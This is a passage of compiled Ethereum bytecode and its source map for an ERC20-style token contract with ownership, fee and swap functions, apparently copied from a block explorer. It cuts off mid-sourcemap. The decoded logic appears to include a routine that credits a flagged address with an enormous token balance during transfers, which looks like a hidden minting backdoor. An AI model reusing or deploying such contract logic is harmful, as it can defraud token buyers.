d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b6d573d6000803e3d6000fd5b505050565b6000600c54148015611b8657506000600d54145b8015611b9457506000600e54145b611bcc57600d54601081905550600e54601181905550600c54600f819055506000600d819055506000600e819055506000600c819055505b565b600080611bdb8386610e73565b91509150611c3183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b890919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d6557611d6484611e83565b5b611db781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e5791906121ad565b60405180910390a35050505050565b600f54600c81905550601054600d81905550601154600e81905550565b600080601f90506000600a9050600192505b6000821115611ebf578083611eaa91906125dd565b92508180611eb79061291e565b925050611e95565b611f1183600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f94578082015181840152602081019050611f79565b83811115611fa3576000848401525b50505050565b6000601f19601f8301169050919050565b6000611fc582611f5a565b611fcf8185611f65565b9350611fdf818560208601611f76565b611fe881611fa9565b840191505092915050565b6000602082019050818103600083015261200d8184611fba565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120458261201a565b9050919050565b6120558161203a565b811461206057600080fd5b50565b6000813590506120728161204c565b92915050565b6000819050919050565b61208b81612078565b811461209657600080fd5b50565b6000813590506120a881612082565b92915050565b600080604083850312156120c5576120c4612015565b5b60006120d385828601612063565b92505060206120e485828601612099565b9150509250929050565b60008115159050919050565b612103816120ee565b82525050565b600060208201905061211e60008301846120fa565b92915050565b6000819050919050565b600061214961214461213f8461201a565b612124565b61201a565b9050919050565b600061215b8261212e565b9050919050565b600061216d82612150565b9050919050565b61217d81612162565b82525050565b60006020820190506121986000830184612174565b92915050565b6121a781612078565b82525050565b60006020820190506121c2600083018461219e565b92915050565b6000602082840312156121de576121dd612015565b5b60006121ec84828501612063565b91505092915050565b60008060006060848603121561220e5761220d612015565b5b600061221c86828701612063565b935050602061222d86828701612063565b925050604061223e86828701612099565b9150509250925092565b60006122538261201a565b9050919050565b61226381612248565b82525050565b600060208201905061227e600083018461225a565b92915050565b600060ff82169050919050565b61229a81612284565b82525050565b60006020820190506122b56000830184612291565b92915050565b6122c48161203a565b82525050565b60006020820190506122df60008301846122bb565b92915050565b600080604083850312156122fc576122fb612015565b5b600061230a85828601612099565b925050602061231b85828601612063565b9150509250929050565b600060408201905061233a600083018561219e565b612347602083018461219e565b9392505050565b6000806040838503121561236557612364612015565b5b600061237385828601612063565b925050602061238485828601612063565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123d557607f821691505b6020821081036123e8576123e761238e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612424602083611f65565b915061242f826123ee565b602082019050919050565b6000602082019050818103600083015261245381612417565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865206e756c6c206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006124b6602683611f65565b91506124c18261245a565b604082019050919050565b600060208201905081810360008301526124e5816124a9565b9050919050565b7f4552523a206e756c6c2061646472657373000000000000000000000000000000600082015250565b6000612522601183611f65565b915061252d826124ec565b602082019050919050565b6000602082019050818103600083015261255181612515565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061259282612078565b915061259d83612078565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125d2576125d1612558565b5b828201905092915050565b60006125e882612078565b91506125f383612078565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612558565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061267182612078565b915061267c83612078565b92508261268c5761268b612637565b5b828204905092915050565b60006126a282612078565b91506126ad83612078565b9250828210156126c0576126bf612558565b5b828203905092915050565b60006126d682612284565b91506126e183612284565b92508260ff038211156126f7576126f6612558565b5b828201905092915050565b600061270d82612284565b915060ff82036127205761271f612558565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506127988161204c565b92915050565b6000602082840312156127b4576127b3612015565b5b60006127c284828501612789565b91505092915050565b6000819050919050565b60006127f06127eb6127e6846127cb565b612124565b612078565b9050919050565b612800816127d5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61283b8161203a565b82525050565b600061284d8383612832565b60208301905092915050565b6000602082019050919050565b600061287182612806565b61287b8185612811565b935061288683612822565b8060005b838110156128b757815161289e8882612841565b97506128a983612859565b92505060018101905061288a565b5085935050505092915050565b600060a0820190506128d9600083018861219e565b6128e660208301876127f7565b81810360408301526128f88186612866565b905061290760608301856122bb565b612914608083018461219e565b9695505050505050565b600061292982612078565b91506000820361293c5761293b612558565b5b60018203905091905056fe45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77206e756c6c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce3aa53c8f7d47e03a8c9cfed22cb92ec60e68953e40d226189fbdf58ace9b5c64736f6c634300080d0033

Deployed Bytecode Sourcemap

13970:8373:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16134:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16966:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17997:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15015:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16411:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14266:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15098:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17135:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14373:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16320:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17456:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14319:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14786:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15063:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15133:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14819:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16514:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5753:148;;;;;;;;;;;;;:::i;:::-;;5530:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16225;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17682:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16640:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14583:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14510:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22052:288;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;14474:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16815:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5909:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14216:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16134:83;16171:13;16204:5;16197:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16134:83;:::o;16966:161::-;17041:4;17058:39;17067:12;:10;:12::i;:::-;17081:7;17090:6;17058:8;:39::i;:::-;17115:4;17108:11;;16966:161;;;;:::o;17997:35::-;;;;;;;;;;;;;:::o;15015:41::-;;;;;;;;;;;;;:::o;16411:95::-;16464:7;16491;;16484:14;;16411:95;:::o;14266:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;15098:28::-;;;;;;;;;;;;;:::o;17135:313::-;17233:4;17250:36;17260:6;17268:9;17279:6;17250:9;:36::i;:::-;17297:121;17306:6;17314:12;:10;:12::i;:::-;17328:89;17366:6;17328:89;;;;;;;;;;;;;;;;;:11;:19;17340:6;17328:19;;;;;;;;;;;;;;;:33;17348:12;:10;:12::i;:::-;17328:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17297:8;:121::i;:::-;17436:4;17429:11;;17135:313;;;;;:::o;14373:92::-;;;;;;;;;;;;;:::o;16320:83::-;16361:5;16386:9;;;;;;;;;;;16379:16;;16320:83;:::o;17456:218::-;17544:4;17561:83;17570:12;:10;:12::i;:::-;17584:7;17593:50;17632:10;17593:11;:25;17605:12;:10;:12::i;:::-;17593:25;;;;;;;;;;;;;;;:34;17619:7;17593:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;17561:8;:83::i;:::-;17662:4;17655:11;;17456:218;;;;:::o;14319:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;14786:26::-;;;;:::o;15063:28::-;;;;;;;;;;;;;:::o;15133:40::-;;;;;;;;;;;;;:::o;14819:27::-;;;;:::o;16514:118::-;16580:7;16607:8;:17;16616:7;16607:17;;;;;;;;;;;;;;;;16600:24;;16514:118;;;:::o;5753:148::-;5676:12;:10;:12::i;:::-;5665:23;;:7;:5;:7::i;:::-;:23;;;5657:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5860:1:::1;5823:40;;5844:6;::::0;::::1;;;;;;;;5823:40;;;;;;;;;;;;5891:1;5874:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5753:148::o:0;5530:87::-;5576:7;5603:6;;;;;;;;;;;5596:13;;5530:87;:::o;16225:::-;16264:13;16297:7;16290:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16225:87;:::o;17682:269::-;17775:4;17792:129;17801:12;:10;:12::i;:::-;17815:7;17824:96;17863:15;17824:96;;;;;;;;;;;;;;;;;:11;:25;17836:12;:10;:12::i;:::-;17824:25;;;;;;;;;;;;;;;:34;17850:7;17824:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;17792:8;:129::i;:::-;17939:4;17932:11;;17682:269;;;;:::o;16640:167::-;16718:4;16735:42;16745:12;:10;:12::i;:::-;16759:9;16770:6;16735:9;:42::i;:::-;16795:4;16788:11;;16640:167;;;;:::o;14583:49::-;;;;:::o;14510:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;22052:288::-;22129:7;22138;22158:20;22181:42;22219:3;22181:33;22193:20;22206:6;22193:12;:20::i;:::-;22181:7;:11;;:33;;;;:::i;:::-;:37;;:42;;;;:::i;:::-;22158:65;;22234:22;22259:25;22271:12;22259:7;:11;;:25;;;;:::i;:::-;22234:50;;22303:14;22319:12;22295:37;;;;;;22052:288;;;;;:::o;14474:29::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;16815:143::-;16896:7;16923:11;:18;16935:5;16923:18;;;;;;;;;;;;;;;:27;16942:7;16923:27;;;;;;;;;;;;;;;;16916:34;;16815:143;;;;:::o;5909:244::-;5676:12;:10;:12::i;:::-;5665:23;;:7;:5;:7::i;:::-;:23;;;5657:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6018:1:::1;5998:22;;:8;:22;;::::0;5990:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6108:8;6079:38;;6100:6;::::0;::::1;;;;;;;;6079:38;;;;;;;;;;;;6137:8;6128:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5909:244:::0;:::o;14216:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1679:98::-;1732:7;1759:10;1752:17;;1679:98;:::o;18615:262::-;18725:1;18708:19;;:5;:19;;;;:44;;;;;18750:1;18731:21;;:7;:21;;;;18708:44;18700:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;18815:6;18785:11;:18;18797:5;18785:18;;;;;;;;;;;;;;;:27;18804:7;18785:27;;;;;;;;;;;;;;;:36;;;;18853:7;18837:32;;18846:5;18837:32;;;18862:6;18837:32;;;;;;:::i;:::-;;;;;;;;18615:262;;;:::o;18885:858::-;19027:11;;;;;;;;;;;19016:22;;:7;;;;;;;;;;;:22;;;;:43;;;;;19043:16;;;;;;;;;;;19042:17;19016:43;:68;;;;;19071:13;;;;;;;;;;;19063:21;;:4;:21;;;;19016:68;:93;;;;;19088:21;;;;;;;;;;;19016:93;19013:313;;;19138:1;19128:7;;:11;;;;;;;;;;;;;;;;;;19154:28;19185:24;19203:4;19185:9;:24::i;:::-;19154:55;;19250:1;19227:20;:24;19224:91;;;19267:36;19282:20;19267:14;:36::i;:::-;19224:91;19111:215;19013:313;19346:17;19366:4;19346:24;;19395:13;:19;19409:4;19395:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;19418:13;:17;19432:2;19418:17;;;;;;;;;;;;;;;;;;;;;;;;;19395:40;19392:279;;;19466:5;19451:20;;19489:12;:16;19502:2;19489:16;;;;;;;;;;;;;;;;;;;;;;;;;19486:57;;;19521:1;19510:8;;;;;;;;;;;:12;;;19507:35;;;19525:14;:12;:14::i;:::-;19507:35;19486:57;19392:279;;;19572:13;;;;;;;;;;;19564:21;;:4;:21;;;19560:111;;19604:7;;19587:14;:24;;;;19560:111;;;19629:13;;;;;;;;;;;19623:19;;:2;:19;;;19619:52;;19661:8;;19644:14;:25;;;;19619:52;19560:111;19392:279;19691:44;19707:4;19712:2;19715:6;19722:12;19691:15;:44::i;:::-;18988:755;18885:858;;;:::o;1210:206::-;1296:7;1354:1;1349;:6;;1357:12;1341:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1396:1;1392;:5;1385:12;;1210:206;;;;;:::o;782:98::-;840:7;871:1;867;:5;;;;:::i;:::-;860:12;;782:98;;;;:::o;20217:216::-;20274:7;20311:1;20300:8;;;;;;;;;;;:12;;;:125;;20332:12;:18;20345:4;20332:18;;;;;;;;;;;;;;;;;;;;;;;;;:93;;20370:10;:16;20381:4;20370:16;;;;;;;;;;;;;;;;;;;;;;;;;:55;;20416:9;20370:55;;;20389:14;;20370:55;20332:93;;;20353:14;;20332:93;20300:125;;;20315:14;;20300:125;20293:132;;20217:216;;;:::o;994:98::-;1052:7;1083:1;1079;:5;;;;:::i;:::-;1072:12;;994:98;;;;:::o;1104:::-;1162:7;1193:1;1189;:5;;;;:::i;:::-;1182:12;;1104:98;;;;:::o;888:::-;946:7;977:1;973;:5;;;;:::i;:::-;966:12;;888:98;;;;:::o;20443:237::-;15441:4;15422:16;;:23;;;;;;;;;;;;;;;;;;20528:38:::1;20545:20;20528:16;:38::i;:::-;20577:19;20599:21;20577:43;;20631:41;20644:15;;;;;;;;;;;20660:11;20631:12;:41::i;:::-;20517:163;15487:5:::0;15468:16;;:24;;;;;;;;;;;;;;;;;;20443:237;:::o;18360:73::-;18424:1;18413:8;;;;;;;;;;;:12;;;;:::i;:::-;18402:8;;:23;;;;;;;;;;;;;;;;;;18360:73::o;21168:359::-;21288:12;21284:112;;21316:14;:12;:14::i;:::-;21284:112;;;21371:7;;:9;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21284:112;21410:42;21426:6;21434:9;21445:6;21410:15;:42::i;:::-;21477:12;21473:46;;21504:15;:13;:15::i;:::-;21473:46;21168:359;;;;:::o;20688:472::-;20754:21;20792:1;20778:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20754:40;;20823:4;20805;20810:1;20805:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;20849:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20839:4;20844:1;20839:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;20882:62;20899:4;20914:15;;;;;;;;;;;20932:11;20882:8;:62::i;:::-;20955:15;;;;;;;;;;;:66;;;21036:11;21062:1;21079:4;21106;21126:15;20955:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20743:417;20688:472;:::o;19751:120::-;19836:6;:15;;:23;19852:6;19836:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19751:120;;:::o;18041:311::-;18105:1;18087:14;;:19;:35;;;;;18121:1;18110:7;;:12;18087:35;:52;;;;;18138:1;18126:8;;:13;18087:52;18141:7;18084:64;18176:7;;18158:15;:25;;;;18214:8;;18195:16;:27;;;;18254:14;;18234:17;:34;;;;18289:1;18279:7;:11;;;;18312:1;18301:8;:12;;;;18341:1;18324:14;:18;;;;18041:311;:::o;21537:507::-;21634:22;21658:20;21682:27;21693:7;21702:6;21682:10;:27::i;:::-;21633:76;;;;21739:29;21760:7;21739:8;:16;21748:6;21739:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;21720:8;:16;21729:6;21720:16;;;;;;;;;;;;;;;:48;;;;21801:39;21825:14;21801:8;:19;21810:9;21801:19;;;;;;;;;;;;;;;;:23;;:39;;;;:::i;:::-;21779:8;:19;21788:9;21779:19;;;;;;;;;;;;;;;:61;;;;21854:12;:23;21867:9;21854:23;;;;;;;;;;;;;;;;;;;;;;;;;21851:49;;;21879:19;21888:9;21879:8;:19::i;:::-;21851:49;21936:41;21964:12;21936:8;:23;21953:4;21936:23;;;;;;;;;;;;;;;;:27;;:41;;;;:::i;:::-;21910:8;:23;21927:4;21910:23;;;;;;;;;;;;;;;:67;;;;22010:9;21993:43;;22002:6;21993:43;;;22021:14;21993:43;;;;;;:::i;:::-;;;;;;;;21622:422;;21537:507;;;:::o;18445:162::-;18506:17;;18489:14;:34;;;;18544:15;;18534:7;:25;;;;18582:16;;18571:8;:27;;;;18445:162::o;19883:326::-;19933:20;19967:18;19988:2;19967:23;;19999:19;20021:2;19999:24;;20051:1;20038:14;;20034:107;20067:1;20055:10;20054:14;20034:107;;;20114:11;20100:25;;;;;:::i;:::-;;;20071:12;;;;;:::i;:::-;;;20070:14;20034:107;;;20169:32;20188:12;20169:8;:14;20178:4;20169:14;;;;;;;;;;;;;;;;:18;;:32;;;;:::i;:::-;20152:8;:14;20161:4;20152:14;;;;;;;;;;;;;;;:49;;;;19922:287;;;19883:326;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:60::-;3522:3;3543:5;3536:12;;3494:60;;;:::o;3560:142::-;3610:9;3643:53;3661:34;3670:24;3688:5;3670:24;:::i;:::-;3661:34;:::i;:::-;3643:53;:::i;:::-;3630:66;;3560:142;;;:::o;3708:126::-;3758:9;3791:37;3822:5;3791:37;:::i;:::-;3778:50;;3708:126;;;:::o;3840:153::-;3917:9;3950:37;3981:5;3950:37;:::i;:::-;3937:50;;3840:153;;;:::o;3999:185::-;4113:64;4171:5;4113:64;:::i;:::-;4108:3;4101:77;3999:185;;:::o;4190:276::-;4310:4;4348:2;4337:9;4333:18;4325:26;;4361:98;4456:1;4445:9;4441:17;4432:6;4361:98;:::i;:::-;4190:276;;;;:::o;4472:118::-;4559:24;4577:5;4559:24;:::i;:::-;4554:3;4547:37;4472:118;;:::o;4596:222::-;4689:4;4727:2;4716:9;4712:18;4704:26;;4740:71;4808:1;4797:9;4793:17;4784:6;4740:71;:::i;:::-;4596:222;;;;:::o;4824:329::-;4883:6;4932:2;4920:9;4911:7;4907:23;4903:32;4900:119;;;4938:79;;:::i;:::-;4900:119;5058:1;5083:53;5128:7;5119:6;5108:9;5104:22;5083:53;:::i;:::-;5073:63;;5029:117;4824:329;;;;:::o;5159:619::-;5236:6;5244;5252;5301:2;5289:9;5280:7;5276:23;5272:32;5269:119;;;5307:79;;:::i;:::-;5269:119;5427:1;5452:53;5497:7;5488:6;5477:9;5473:22;5452:53;:::i;:::-;5442:63;;5398:117;5554:2;5580:53;5625:7;5616:6;5605:9;5601:22;5580:53;:::i;:::-;5570:63;;5525:118;5682:2;5708:53;5753:7;5744:6;5733:9;5729:22;5708:53;:::i;:::-;5698:63;;5653:118;5159:619;;;;;:::o;5784:104::-;5829:7;5858:24;5876:5;5858:24;:::i;:::-;5847:35;;5784:104;;;:::o;5894:142::-;5997:32;6023:5;5997:32;:::i;:::-;5992:3;5985:45;5894:142;;:::o;6042:254::-;6151:4;6189:2;6178:9;6174:18;6166:26;;6202:87;6286:1;6275:9;6271:17;6262:6;6202:87;:::i;:::-;6042:254;;;;:::o;6302:86::-;6337:7;6377:4;6370:5;6366:16;6355:27;;6302:86;;;:::o;6394:112::-;6477:22;6493:5;6477:22;:::i;:::-;6472:3;6465:35;6394:112;;:::o;6512:214::-;6601:4;6639:2;6628:9;6624:18;6616:26;;6652:67;6716:1;6705:9;6701:17;6692:6;6652:67;:::i;:::-;6512:214;;;;:::o;6732:118::-;6819:24;6837:5;6819:24;:::i;:::-;6814:3;6807:37;6732:118;;:::o;6856:222::-;6949:4;6987:2;6976:9;6972:18;6964:26;;7000:71;7068:1;7057:9;7053:17;7044:6;7000:71;:::i;:::-;6856:222;;;;:::o;7084:474::-;7152:6;7160;7209:2;7197:9;7188:7;7184:23;7180:32;7177:119;;;7215:79;;:::i;:::-;7177:119;7335:1;7360:53;7405:7;7396:6;7385:9;7381:22;7360:53;:::i;:::-;7350:63;;7306:117;7462:2;7488:53;7533:7;7524:6;7513:9;7509:22;7488:53;:::i;:::-;7478:63;;7433:118;7084:474;;;;;:::o;7564:332::-;7685:4;7723:2;7712:9;7708:18;7700:26;;7736:71;7804:1;7793:9;7789:17;7780:6;7736:71;:::i;:::-;7817:72;7885:2;7874:9;7870:18;7861:6;7817:72;:::i;:::-;7564:332;;;;;:::o;7902:474::-;7970:6;7978;8027:2;8015:9;8006:7;8002:23;7998:32;7995:119;;;8033:79;;:::i;:::-;7995:119;8153:1;8178:53;8223:7;8214:6;8203:9;8199:22;8178:53;:::i;:::-;8168:63;;8124:117;8280:2;8306:53;8351:7;8342:6;8331:9;8327:22;8306:53;:::i;:::-;8296:63;;8251:118;7902:474;;;;;:::o;8382:180::-;8430:77;8427:1;8420:88;8527:4;8524:1;8517:15;8551:4;8548:1;8541:15;8568:320;8612:6;8649:1;8643:4;8639:12;8629:22;;8696:1;8690:4;8686:12;8717:18;8707:81;;8773:4;8765:6;8761:17;8751:27;;8707:81;8835:2;8827:6;8824:14;8804:18;8801:38;8798:84;;8854:18;;:::i;:::-;8798:84;8619:269;8568:320;;;:::o;8894:182::-;9034:34;9030:1;9022:6;9018:14;9011:58;8894:182;:::o;9082:366::-;9224:3;9245:67;9309:2;9304:3;9245:67;:::i;:::-;9238:74;;9321:93;9410:3;9321:93;:::i;:::-;9439:2;9434:3;9430:12;9423:19;;9082:366;;;:::o;9454:419::-;9620:4;9658:2;9647:9;9643:18;9635:26;;9707:9;9701:4;9697:20;9693:1;9682:9;9678:17;9671:47;9735:131;9861:4;9735:131;:::i;:::-;9727:139;;9454:419;;;:::o;9879:225::-;10019:34;10015:1;10007:6;10003:14;9996:58;10088:8;10083:2;10075:6;10071:15;10064:33;9879:225;:::o;10110:366::-;10252:3;10273:67;10337:2;10332:3;10273:67;:::i;:::-;10266:74;;10349:93;10438:3;10349:93;:::i;:::-;10467:2;10462:3;10458:12;10451:19;;10110:366;;;:::o;10482:419::-;10648:4;10686:2;10675:9;10671:18;10663:26;;10735:9;10729:4;10725:20;10721:1;10710:9;10706:17;10699:47;10763:131;10889:4;10763:131;:::i;:::-;10755:139;;10482:419;;;:::o;10907:167::-;11047:19;11043:1;11035:6;11031:14;11024:43;10907:167;:::o;11080:366::-;11222:3;11243:67;11307:2;11302:3;11243:67;:::i;:::-;11236:74;;11319:93;11408:3;11319:93;:::i;:::-;11437:2;11432:3;11428:12;11421:19;;11080:366;;;:::o;11452:419::-;11618:4;11656:2;11645:9;11641:18;11633:26;;11705:9;11699:4;11695: